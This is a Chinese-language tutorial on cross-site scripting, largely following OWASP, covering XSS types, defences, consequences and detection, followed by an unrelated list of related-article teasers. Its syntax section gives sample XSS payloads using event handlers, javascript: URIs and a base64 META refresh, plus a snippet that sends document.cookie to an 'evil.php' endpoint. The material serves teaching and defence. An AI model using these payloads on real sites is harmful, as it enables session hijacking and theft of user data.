Cross Site Scripting (XSS)
攻击者会给网站发送可疑的脚本,可以获取浏览器保存的网站cookie, session tokens, 或者其他敏感的信息,甚至可以重写HTML页面的内容。
背景
XSS漏洞有不同类型,最开始发现的是存储型XSS和反射型XSS,2005,Amit Klein发现了基于DOM的XSS。
反射型XSS也叫不可持续XSS,当用户输入在错误消息、搜索结果或任何其他响应中立即由Web应用程序返回时,就会发生反射式XSS,这些响应包含用户作为请求的一部分提供的一些或全部输入,而不会在浏览器中安全地呈现这些数据,也不会永久存储用户提供的数据。在某些情况下,用户提供的数据甚至可能永远不会离开浏览器。
存储型XSS也叫可持续的XSS,存储型XSS通常发生在用户输入存储在目标服务器上时,例如在数据库、论坛、访客日志、评论字段等中。然后受害者能够从Web应用程序检索存储的数据,
而无需在浏览器中安全地呈现这些数据。随着HTML5和其他浏览器技术的出现,我们可以设想攻击有效负载被永久存储在受害者的浏览器中,例如HTML5数据库,而根本不会被发送到服务器。
基于DOM的XSS(或某些文本中称为“类型0 XSS”)是一种XSS攻击,其中攻击有效负载是通过修改原始客户端脚本在受害者浏览器中使用的DOM“环境”来执行的,这样客户端代码就会以“意外”的方式运行。也就是说,页面本身(即HTTP响应)没有改变,但由于DOM环境中发生的恶意修改,页面中包含的客户端代码执行方式不同。
不同类型的XSS
上述三种XSS分类存在重叠,2012年,研究会提议开始用新的词来识别XSS。
- 服务端XSS
- 客户端XSS
服务器端XSS发生在服务器生成的HTTP响应中包含不受信任的用户提供的数据时。这些数据的来源可能是请求,也可能是存储位置。因此,您可以同时拥有反射式服务器端XSS和存储式服务器端XSS。在这种情况下,整个漏洞都在服务器端代码中,浏览器只是呈现响应并执行其中嵌入的有效脚本。
客户端XSS发生在不信任的用户提供的数据用于使用不安全的JavaScript调用更新DOM时。如果可以将有效的JavaScript引入DOM,则JavaScript调用被视为不安全。这些数据的来源可能是DOM,也可能是由服务器发送的(通过AJAX调用或页面加载)。数据的最终来源可能是来自请求,或者是来自客户端或服务器上的存储位置。因此,您可以同时拥有反射式客户端XSS和存储式客户端XSS。有了这些新的定义,基于DOM的XSS的定义并没有改变。基于DOM的XSS只是客户端XSS的一个子集,其中数据的来源在DOM中,而不是来自服务器。
原文:Types of XSS | OWASP Foundation
推荐的服务端XSS防御方式
服务端XSS是由于在HTML响应中包含了不可信任的数据,最简单和最有力的服务端XSS防御方式为上下文敏感的服务器端输出编码
输入验证和数据清理也可以防止服务端XSS,但是难以正确。
推荐的客户端XSS防御方式
客户端XSS发生在不信任的数据于以不安全的JavaScript调用更新DOM时。针对客户端XSS最简单和最有效的防御是:
使用安全的JavaScript API
但是,开发人员经常不知道哪些JavaScript API是安全的,更不用说他们最喜欢的JavaScript库中的哪些方法是安全的。Dave Wichers在2012年OWASP AppSec USA的DOM XSS演讲中介绍了哪些JavaScript和jQuery方法是安全和不安全的。 如果你知道JavaScript方法是危险的,我们的主要建议是寻找一个安全的替代方法。如果你因为某种原因不能这样做,那么在将数据传递给不安全的JavaScript方法之前,可以在浏览器中进行上下文敏感的输出编码。OWASP的指导说明如何正确执行此操作,在DOM XSS预防备忘单中有所介绍。请注意,此指南适用于所有类型的客户端XSS,无论数据实际来自何处(DOM或服务器)。DOM based XSS Prevention - OWASP Cheat Sheet Series
XSS攻击的后果
泄露用户的session cookie,允许攻击者劫持用户会话和控制用户账号,
其他伤害包含泄露用户的文件,安装特洛伊木马程序,将用户重定向至其他网站,修改内容呈现方式。
允许攻击者修改新闻稿或新闻项目的XSS漏洞可能会影响公司的股价或降低消费者的信心。
制药网站的XSS漏洞可能允许攻击者修改剂量信息,导致过量服用。
有关这些类型攻击的更多信息,请参阅Content_Spoofing。https://owasp.org/www-community/attacks/Content_Spoofing
如何发现XSS攻击
查找漏洞的最佳方法是执行代码的安全性审查,并查找所有可能通过HTTP请求将代码
插入HTML文档的地方。有很多HTML标签可以传递javascript文档,有一些工具如Nessus,Nikto和其他的一些工具可以帮助扫描这些缺陷,但是可能仅仅只发现表面问题。如果网站有一个地方是脆弱的,那么有很大可能其他地方也有问题。
如何防护?
OWASP XSS预防作弊表Cross Site Scripting Prevention - OWASP Cheat Sheet Series描述了防止XSS的主要防御措施。此外,关闭所有Web服务器上的HTTP TRACE支持是至关重要的。即使在客户端禁用或不支持document.cookie的情况下,攻击者也可以通过Javascript窃取cookie数据。当用户将恶意脚本发布到论坛时,就会发起这种攻击,当另一个用户点击链接时,就会触发异步HTTP跟踪调用,从服务器收集用户cookie信息,然后将其发送到另一个恶意服务器,该服务器收集cookie信息,以便攻击者能够发起会话劫持攻击。通过在所有Web服务器上移除对HTTP TRACE的支持可以轻松减轻这种攻击。OWASP ESAPI项目用几种语言产生了一套可重复使用的安全组件,包括用于防止参数篡改和XSS攻击注入的验证和转义例程。此外,OWASP WebGoat项目培训应用程序提供了有关跨站脚本和数据编码的课程。
XSS语法
常见的是把XSS脚本嵌入<script>...</script> 标签,但是其他的标签也可以嵌入XSS脚本。
如
<body οnlοad=alert('test1')>
其他属性如 onmouseover, onerror.
onmouseover
<b οnmοuseοver=alert('Wufff!')>click me!</b>
onerror
<img src="http://url.to.file.which/not.exist" οnerrοr=alert(document.cookie);>
通过编码的URI格式 <IMG SRC=jAvascript:alert('test2')>
将我们的脚本进行base64编码并放入META标签
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
举例
1、获取cookie
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
相关文章:

Cross Site Scripting (XSS)
攻击者会给网站发送可疑的脚本,可以获取浏览器保存的网站cookie, session tokens, 或者其他敏感的信息,甚至可以重写HTML页面的内容。 背景 XSS漏洞有不同类型,最开始发现的是存储型XSS和反射型XSS,2005,Am…...

VDA到Excel方案介绍之自定义邮件接收主题
VDA标准是德国汽车工业协会(Verband der Automobilindustrie,简称VDA)制定的一系列汽车行业标准。这些标准包括了汽车生产、质量管理、供应链管理、环境保护、安全性能等方面的规范和指南。VDA标准通常被德国和国际上的汽车制造商采用&#x…...

【opencv】【CPU】windows10下opencv4.8.0-cuda C++版本源码编译教程
【opencv】【CPU】windows10下opencv4.8.0-cuda C版本源码编译教程 提示:博主取舍了很多大佬的博文并亲测有效,分享笔记邀大家共同学习讨论 文章目录 【opencv】【CPU】windows10下opencv4.8.0-cuda C版本源码编译教程前言准备工具cmakeopencv4.8.0opencv_contrib CMake编译VS2…...
多分类loss学习记录
这里简单的记录在人脸识别/声纹识别中常用的分类loss。详细原理可以参考其他博客。 扩展资料1 扩展资料2 L-softmax A-softmax AM-softmax L-softmax :基于softmax加入了margin, Wx 改写为||w||||x||cos(角度),将角度变为了m角度 A-softmax &…...

Linux创建逻辑卷并扩容(超详细)
目录 编辑 一、概念解析 1、LV逻辑卷 2、PV物理卷 3、VG卷组 二、扩容前准备 三、创建逻辑卷并扩容 1、打开虚拟机 2、进入root用户 3、查看新加入的硬盘 4、创建主分区 5、创建物理卷 6、打包为一个卷组 7、创建逻辑卷 8、格式化逻辑卷 9、挂载逻辑卷--开机自…...

buuctf_练[安洵杯 2019]easy_web
[安洵杯 2019]easy_web 文章目录 [安洵杯 2019]easy_web掌握知识解题思路代码分析正式解题 关键paylaod 掌握知识 url地址和源代码的信息捕捉;图片和base64之间转换;base64和十六进制编码的了解;代码审计,绕过正则匹配对关键字的…...
入学生活科研随笔
近而立之年,巅峰享受的时期有两段。一是高考后,收到入学通知书。早晨,八点多,我醒来在院子里看到,爸爸在门口和邮政快递员寒暄。那天应该是8月15号,清晨凉凉爽爽的,杨树遮住了大半个院子。第二段…...

【1++的Linux】之进程间通信(共享内存)
👍作者主页:进击的1 🤩 专栏链接:【1的Linux】 我们在前面的文章中提到过,进程间的通信本质都是先看到同一块资源,然后通过这同一块资源进行通信,并且是单向的通信,只能一端发&#…...

Linux高性能服务器编程——ch8笔记
第8章 高性能服务器程序框架 8.1 服务器模型 服务器启动后,首先创建一个(或多个)监听socket,并调用bind函数将其绑定到服务器感兴趣的端口,然后调用listen函数等待客户连接。服务器稳定运行之后,客户端就可…...
Android WMS——ViewRootImpl分析(六)
一、简介 ViewRootImpl是View中的最高层级,属于所有View的根(但ViewRootImpl不是View,只是实现了ViewParent接口),维护了整个视图结构,并作为输入事件的分发器和绘图管道的输入端点,承担着输入事件分发、窗口管理、视图绘制和系统事件响应等关键角色。对于Android应用程…...

Unsatisfied dependency expressed through bean property ‘sqlSessionTemplate‘;
代码没有问题,但是启动运行报错 2023-10-25 16:59:38.165 INFO 228964 --- [ main] c.h.h.HailiaowenanApplication : Starting HailiaowenanApplication on ganluhua with PID 228964 (D:\ganluhua\code\java\hailiao-java\target\classes …...
【C++】智能指针:auto_ptr、unique_ptr、share_ptr、weak_ptr(技术介绍 + 代码实现)(待更新)
文章目录 0. 概述智能指针,智能在哪儿?RAII 的介绍四个智能指针的特点: 1. auto_ptr(C98)🐎核心功能的简单实现 2. unique_ptr(C11)🐎核心功能的简单实现 3. shared_ptr&…...

nodejs+vue全国公考岗位及报考人数分析
传统的搜索引擎尽管解决了信息搜索问题,但无法进行有效的数据分析和优质资源的获取。并且,人们的需求不同,数据的要求也不同。为了解决这一问题,定向抓取数据的爬虫诞生了。它的诞生把人们从重复性的劳动中解放出来,节…...

【0基础学Java第二课】数据类型与变量
2. 数据类型与变量 2.1 字面常量2.2 数据类型2.3 变量2.3.1 变量概念2.3.2 语法格式 2.4 整型变量2.4.1 整型变量2.4.2 长整型变量2.4.3 短整型变量2.4.4 字节型变量 2.5 浮点型变量2.6 字符型2.7 布尔型变量2.8 类型转换2.9 类型提升2.10 字符串类型2.10.1 字符串拼接操作符 2…...

Pytorch整体工作流程代码详解(新手入门)
一、前言 本文详细介绍Pytorch的基本工作流程及代码,以及如何在GPU上训练模型(如下图所示)包括数据准备、模型搭建、模型训练、评估及模型的保存和载入。 适用读者:有一定的Python和机器学习基础的深度学习/Pytorch初学者。 本文…...

读图数据库实战笔记02_图数据建模
1. 概念 1.1. 实体 1.1.1. 通常用名词来表示 1.1.2. 描述一个领域中的事物或者事物类型 1.1.2.1. 汽车 1.1.2.2. 用户 1.1.2.3. 地理位置 1.1.3. 在逻辑模型和技术实现过程中,实体通常会变成“顶点” 1.2. 关系 1.2.1. 用动词(或动词短语&#…...

竞赛 深度学习卫星遥感图像检测与识别 -opencv python 目标检测
文章目录 0 前言1 课题背景2 实现效果3 Yolov5算法4 数据处理和训练5 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 **深度学习卫星遥感图像检测与识别 ** 该项目较为新颖,适合作为竞赛课题方向,学长非常推荐…...

对Happens-Before的理解
Happens-Before Happens-Before 是一种可见性模型,也就是说,在多线程环境下。原本因为指令重排序的存在会导致数据的可见性问题,也就是 A 线程修改某个共享变量对 B 线程不可见。因此,JMM 通过 Happens-Before 关系向开发人员提供…...

分类预测 | MATLAB实现SSA-CNN-BiGRU麻雀算法优化卷积双向门控循环单元数据分类预测
分类预测 | MATLAB实现SSA-CNN-BiGRU麻雀算法优化卷积双向门控循环单元数据分类预测 目录 分类预测 | MATLAB实现SSA-CNN-BiGRU麻雀算法优化卷积双向门控循环单元数据分类预测分类效果基本描述程序设计参考资料 分类效果 基本描述 1.MATLAB实现SSA-CNN-BiGRU麻雀算法优化卷积双…...

Java面试八股文之暑假合集
八股文暑假合集 基础篇二分查找 java基础篇7月12号面向对象和面向过程的区别重载和重写String 7月13号自动装箱和拆箱静态方法构造方法成员变量和局部变量对象引用和对象实例返回值 与equals(重要)hashcode()和equals()HashMap 7月16号线程,进程和程序final关键字的…...

手游刚开服就被攻击怎么办?如何防御DDoS?
开服初期是手游最脆弱的阶段,极易成为DDoS攻击的目标。一旦遭遇攻击,可能导致服务器瘫痪、玩家流失,甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案,帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...

相机Camera日志实例分析之二:相机Camx【专业模式开启直方图拍照】单帧流程日志详解
【关注我,后续持续新增专题博文,谢谢!!!】 上一篇我们讲了: 这一篇我们开始讲: 目录 一、场景操作步骤 二、日志基础关键字分级如下 三、场景日志如下: 一、场景操作步骤 操作步…...

vscode(仍待补充)
写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh? debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...
React Native在HarmonyOS 5.0阅读类应用开发中的实践
一、技术选型背景 随着HarmonyOS 5.0对Web兼容层的增强,React Native作为跨平台框架可通过重新编译ArkTS组件实现85%以上的代码复用率。阅读类应用具有UI复杂度低、数据流清晰的特点。 二、核心实现方案 1. 环境配置 (1)使用React Native…...
鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院查看报告小程序
一、开发环境准备 工具安装: 下载安装DevEco Studio 4.0(支持HarmonyOS 5)配置HarmonyOS SDK 5.0确保Node.js版本≥14 项目初始化: ohpm init harmony/hospital-report-app 二、核心功能模块实现 1. 报告列表…...
css的定位(position)详解:相对定位 绝对定位 固定定位
在 CSS 中,元素的定位通过 position 属性控制,共有 5 种定位模式:static(静态定位)、relative(相对定位)、absolute(绝对定位)、fixed(固定定位)和…...
【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分
一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计,提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合:各模块职责清晰,便于独立开发…...

AI书签管理工具开发全记录(十九):嵌入资源处理
1.前言 📝 在上一篇文章中,我们完成了书签的导入导出功能。本篇文章我们研究如何处理嵌入资源,方便后续将资源打包到一个可执行文件中。 2.embed介绍 🎯 Go 1.16 引入了革命性的 embed 包,彻底改变了静态资源管理的…...

HashMap中的put方法执行流程(流程图)
1 put操作整体流程 HashMap 的 put 操作是其最核心的功能之一。在 JDK 1.8 及以后版本中,其主要逻辑封装在 putVal 这个内部方法中。整个过程大致如下: 初始判断与哈希计算: 首先,putVal 方法会检查当前的 table(也就…...
Spring是如何解决Bean的循环依赖:三级缓存机制
1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间互相持有对方引用,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...